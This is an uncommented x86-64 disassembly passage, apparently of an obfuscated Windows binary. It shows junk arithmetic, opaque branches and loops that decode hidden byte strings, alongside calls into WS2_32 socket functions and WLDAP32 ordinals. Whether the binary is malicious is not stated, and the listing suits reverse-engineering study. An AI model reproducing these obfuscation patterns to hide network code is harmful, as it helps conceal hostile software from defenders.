cmp r8, rax
jne 0x14008b2e2
movabs rdx, 0xa0e567b6f6b463be
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x32
jmp 0x14008b680
inc rax
cmp r8, rax
jne 0x14008b317
movabs rcx, 0xcfaee4241aaf96c6
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6a
dec rdi
inc rdi
jmp 0x14008a9a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008b35f
movabs rdx, 0xfe7860913eaac9ce
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a9a2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008b39f
movabs rcx, 0x95dd1ec7d0a86352
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3e
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a9a2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008af0f
movabs rdx, 0x2d41dcfe62a5fcd6
mov ecx, reloc.WS2_32.dll_send
jmp 0x14008b517
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008b406
movabs rdx, 0xd68734f3f39b2fa8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xed8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a9a2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008b427
movabs rdx, 0x550b161179662b0
mov ecx, Ordinal_26
jmp 0x14008b517
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008b467
movabs rcx, 0x9cb56f97a993fc34
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a9a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008aec1
movabs rdx, 0xcb7eec04cd8f2f3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14008b5e7
movabs rdx, 0xc076a315a7832ed0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xed8]
jmp 0x14008b5f5
movabs rdx, 0x57db614c3980c854
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xed8]
sub r11b, 0x4c
add r11b, dl
jmp 0x14008b52b
movabs rdx, 0xf0c7bef18cd3980a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x46
add r11b, dl
jmp 0x14008b55d
movabs rdx, 0x596300bafad5fe86
mov ecx, Ordinal_45
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xa38dc067827f9516
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xed8], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0xef401f82cb7e61d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xed8], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xed8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a9a2
movabs rcx, 0xc1fe428468d86502
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a9a2
movabs rdx, 0x9334c61744dd31fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xc290230f081fb92
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xed8], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a9a2
movabs rdx, 0xcd068b738ee4656e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 2
jmp 0x14008b680
movabs rdx, 0x9e3d0f066ae93266
mov ecx, reloc.WLDAP32.dll_Ordinal_27
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0x74c443fa5e84620e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x62
add cl, bl
mov byte [rbp + rdi + 0xed8], cl
inc r9
dec rdi
inc rdi
jmp 0x14008a9a2
movabs rdx, 0x6f73929946edff5e
mov ecx, gethostname
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008a9a2
movabs rdx, 0xa94557f590f532d2
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a9a2
movabs rdx, 0xe3171d51dafc6646
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xed8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a9a2
movabs rdx, 0x53ab692cec6060ca
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008a99e
movabs rdx, 0xbc46aaf65a62c746
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008a986
lea rcx, [rbp + 0x171a130]
jmp 0x14008b7c3
lea rcx, [rbp + 0x1306df2]
jmp 0x14008b7c3
lea rcx, [rbp + 0xed8]
mov dword [rbp + 0x1018], 0x41200000
mov dword [rbp + 0x1020], 0x3f800000
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x1018]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1020]
mov r8, r14
mov edx, 8
call fcn.140037e30
mov byte [rbp + 0xf00], 0xed
mov byte [rbp + 0xf01], 0xe7
mov byte [rbp + 0xf02], 0xe2
mov byte [rbp + 0xf03], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xf04], 0xea
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf05], xmm0
mov qword [rbp + 0xf15], rax
mov dword [rbp + 0xf1d], eax
mov word [rbp + 0xf21], ax
movabs rsi, 0xac9d80a18c69431d
movabs rdx, 0xde2347f086dfe2ea
movabs r14, 0x28eb8d4084a28161
movabs r15, 0x70ed5310b82644b
movabs r13, 0x7d845feb5e7fd938
movzx r10d, byte [rsp + 0x40]
nop
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14008c170
movzx r11d, byte [rbp + rdi + 0xf00]
mov rbx, r11
nop dword [rax + rax]
cmp r8, rdi
ja 0x14008c164
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008b8e3
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x35
jmp 0x14008b902
je 0x14008c0db
inc rax
cmp r8, rax
je 0x14008c04d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008c023
cmp r9, rdi
ja 0x14008c158
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x14008b934
lea r10, [rdi + r14]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x59
add r10b, r11b
jmp 0x14008b967
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008bfc8
inc rax
cmp r8, rax
je 0x14008bf91
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008bf67
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008bf33
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14008bb36
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008bb12
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008bad6
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008bab5
lea r8, [r9 + 8]
lea r9, [r8 + 1]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14008c134
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14008c10f
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14008ba12
lea r8, [r9 + 8]
lea r9, [r8 + 0x10]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14008ba7a
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14008ba56
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14008ba2d
lea r8, [r9 + 8]
lea r9, [r8 + 0x10]
jmp 0x14008b980
lea rcx, [rdi + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xd
jmp 0x14008b8a5
movabs rdx, 0x2ffa62719024e5ac
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c072
movabs rcx, 0xd6bf612e77525f72
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x14008c0a2
lea rdx, [rdi + r13]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0xde2347f086dfe2ea
movzx eax, byte [rbp + rdi + 0xf00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b892
lea rcx, [rdi + rdx]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
dec rdi
inc rdi
jmp 0x14008b892
movabs rdx, 0x84e846ad6e0d5cb0
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
movabs rdx, 0xde2347f086dfe2ea
dec rdi
inc rdi
jmp 0x14008b892
movabs rcx, 0x2bad456a553ad676
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
jmp 0x14008bfe7
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14008bc04
lea rcx, [rdi + rsi]
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x35
add r10b, cl
lea rax, [r8 + r9]
cmp rax, 0x41
je 0x14008bf08
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14008bd0f
movabs rcx, 0x2187a67e7514fde9
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5f
cmp r8, 0x41
jae 0x14008be99
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14008bde4
movabs rcx, 0x4a7333bef9b77f4a
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
cmp r9, 8
jb 0x14008be89
movabs rcx, 0xc6c1405df1f0bd8e
add rcx, rdi
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14008bfe7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008bc46
movabs rcx, 0x51d71a81094502c2
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4e
movzx eax, byte [rbp + rdi + 0xf00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b892
inc rax
cmp r8, rax
jne 0x14008bc76
movabs rcx, 0x44d1d073aea0f36
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
jmp 0x14008c072
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008bcc9
movabs rdx, 0xb6c31f8d6c8f1baa
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0xde2347f086dfe2ea
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b892
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008bb60
movabs rdx, 0x693922139e34281e
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0xde2347f086dfe2ea
dec rdi
inc rdi
jmp 0x14008b892
jne 0x14008bd39
movabs rcx, 0x7ac2a7c18de78423
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xb
jmp 0x14008bfe7
inc rax
cmp r8, rax
jne 0x14008bd6f
movabs rcx, 0x2d38aa47bf8c9097
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x21
dec rdi
inc rdi
jmp 0x14008b892
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008bdb3
movabs rcx, 0xdfaeaccdf1319d0b
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b892
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008bb9a
movabs rcx, 0x9224af5422d6a97f
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x79
jmp 0x14008c072
jne 0x14008be01
movabs rdx, 0xa3ae3502128a0584
add rdx, rdi
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14008ba83
inc rax
cmp r8, rax
jne 0x14008be36
movabs rdx, 0x56243788442f11f8
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c072
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008bbd0
movabs rdx, 0x89a3a0e75d41e6c
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0xde2347f086dfe2ea
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b892
mov byte [rbp + rdi + 0xf00], r10b
inc rdi
jmp 0x14008b892
movabs rcx, 0x1ffc41a10ac343c8
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
movzx edx, r11b
sub dl, al
add dl, r11b
sub cl, 0x78
add dl, cl
movabs rcx, 0xcc99c242972c86e5
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x43
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xf00], cl
movzx r10d, dl
movabs rdx, 0xde2347f086dfe2ea
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b892
movabs rcx, 0x793742e42395ca02
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xf00]
lea r10d, [r11 + rcx]
sub r10b, 0xe
jmp 0x14008c072
movabs rcx, 0x404d94d31991a6bd
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b892
movabs rcx, 0x349c9109cf1a140f
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x69
dec rdi
inc rdi
jmp 0x14008b892
movabs rcx, 0xdb618fc6b6478dd5
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2d
inc r9
movabs rdx, 0xde2347f086dfe2ea
dec rdi
inc rdi
jmp 0x14008b892
movabs rcx, 0x82268e839d75079b
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
movabs rcx, 0x735ec0ff7e5a00ab
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x53
add cl, r11b
mov byte [rbp + rdi + 0xf00], cl
inc r9
movabs rdx, 0xde2347f086dfe2ea
dec rdi
inc rdi
jmp 0x14008b892
movabs rcx, 0x1d3a89773a2aeeb3
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1b
dec rdi
inc rdi
jmp 0x14008b892
mov r11, rbx
movabs rdx, 0xb84e846ad6e0d5cb
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x73
add r10b, dl
movabs rcx, 0x25d4c385afff0d1f
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x27
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0xf00], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0xd27244273c68503c
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0xf00], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
jmp 0x14008ba95
movabs rcx, 0x5d881e4a53bc957
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x61
movzx eax, byte [rbp + rdi + 0xf00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b892
movabs rcx, 0xadd3d3edf2afde11
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x77
jmp 0x14008b890
movabs rcx, 0x5498d2aad9dd57d7
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1f
jmp 0x14008b880
lea rsi, [rbp + 0x179267c]
jmp 0x14008c177
lea rsi, [rbp + 0xa26999]
jmp 0x14008c177
lea rsi, [rbp + 0xf00]
lea rdx, [0x14022a140]
lea rcx, [rbp + 0x6a8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x38]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006c320
mov r14, rax
mov byte [rbp + 0xf28], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xf29], 0xeb
mov byte [rbp + 0xf2a], 0xe7
mov byte [rbp + 0xf2b], 0xe7
mov byte [rbp + 0xf2c], 0xed
mov byte [rbp + 0xf2d], 0xf6
mov byte [rbp + 0xf2e], 0x9a
mov byte [rbp + 0xf2f], 0xee
mov byte [rbp + 0xf30], 0xe7
mov byte [rbp + 0xf31], 0xe7
mov byte [rbp + 0xf32], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xf33], 0xfa
mov byte [rbp + 0xf34], Ordinal_45
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf35], xmm0
mov dword [rbp + 0xf45], eax
mov word [rbp + 0xf49], ax
movabs r15, 0xe1318a4f0899f954
movabs r13, 0x7910587bb4a173e4
movzx r10d, byte [rsp + 0x40]
movabs rdx, 0xc11fefad89327b4c
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14008cd06
movzx r11d, byte [rbp + rdi + 0xf28]
mov rbx, r11
nop dword [rax + rax]
cmp r8, rdi
ja 0x14008ccfa
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008c2c3
lea rcx, [rdi + r15]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
sub r10b, 0x4c
jmp 0x14008c2ef
je 0x14008cc5d
inc rax
cmp r8, rax
je 0x14008cc04
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008cbcf
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008cb6b
nop
cmp r9, rdi
ja 0x14008ccee
lea rax, [r9 + 4]
cmp r8, rax
jae 0x14008c325
lea rcx, [rdi + r13]
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3c
add r10b, cl
jmp 0x14008c34c
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008cb57
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008cb22
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008cadf
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14008c6d6
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008c6c2
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008c68a
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008c651
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008c62c
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008c603
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x40]
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14008ccc5
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14008cca0
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008c446
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008c52c
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008c360
lea r8, [r9 + 0x2a]
lea r9, [r8 + 5]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14008c507
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14008c4de
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008c4b9
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14008c4a5
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14008c46d
lea r8, [r9 + 0x200]
lea r9, [r8 + 6]
jmp 0x14008c360
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x14
add r10b, dl
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c285
movabs rcx, 0x61faf3f93d7ac78
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
inc r9
dec rdi
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
movabs rdx, 0xfc935cc74f07e1d8
mov ecx, recv
jmp 0x14008caee
movabs rdx, 0x3a3048293dd3ef30
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x50
jmp 0x14008caa3
movabs rdx, 0x77cd338b2c9ffc88
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008cc25
movabs rcx, 0xb56a1eed1b6c09e0
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
jmp 0x14008cc80
movabs rcx, 0x8492d87bcce5344
add rcx, rdi
movzx eax, r11b
and al, cl
mov r10d, reloc.WS2_32.dll_select
sub r10b, al
add r10b, r10b
add r10b, r11b
add r10b, cl
lea rax, [r8 + r9]
cmp rax, 5
je 0x14008ca7b
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14008c84b
movabs rdx, 0xa8cdf4d50cb06904
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1c
add r10b, dl
cmp r8, 6
jae 0x14008ca03
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14008c8f1
movabs rdx, 0x21de4d50c151dce8
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
add r10b, dl
cmp r9, 0x41
jb 0x14008c9e9
movabs rdx, 0xb9bd1b7d6d595778
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14008cb8f
movabs rdx, 0x13fefe482a94c4b0
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008cc25
movabs rdx, 0xa72abcfe5c4fa10
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x70
jmp 0x14008ca2c
movabs rdx, 0x480f9731d4910768
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rdi
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
movabs rcx, 0x85ac8293c35d14c0
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
inc r9
dec rdi
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
movabs rdx, 0xc3496df5b2292218
mov ecx, Ordinal_45
jmp 0x14008cb7a
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14008c705
lea rdx, [rdi + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4c
add r10b, dl
jmp 0x14008c551
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008c737
movabs rcx, 0xf220b0f76942e7c8
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
jmp 0x14008cc80
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008c76a
movabs rdx, 0x76e6da338baacd18
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008caa3
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008c7b6
movabs rcx, 0x3949eed19cdebfc0
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008c809
movabs rdx, 0xfbad036fae12b268
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008c551
movabs rcx, 0x80732cabd07a97b8
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 8
dec rdi
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008c86c
movabs rdx, 0x6b3109731de45bac
mov ecx, Ordinal_41
jmp 0x14008cb7a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008c89e
movabs rdx, 0xb25a474d518033a4
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7c
jmp 0x14008ca2c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008c8bf
movabs rdx, 0x3720708973e818f4
mov ecx, Ordinal_45
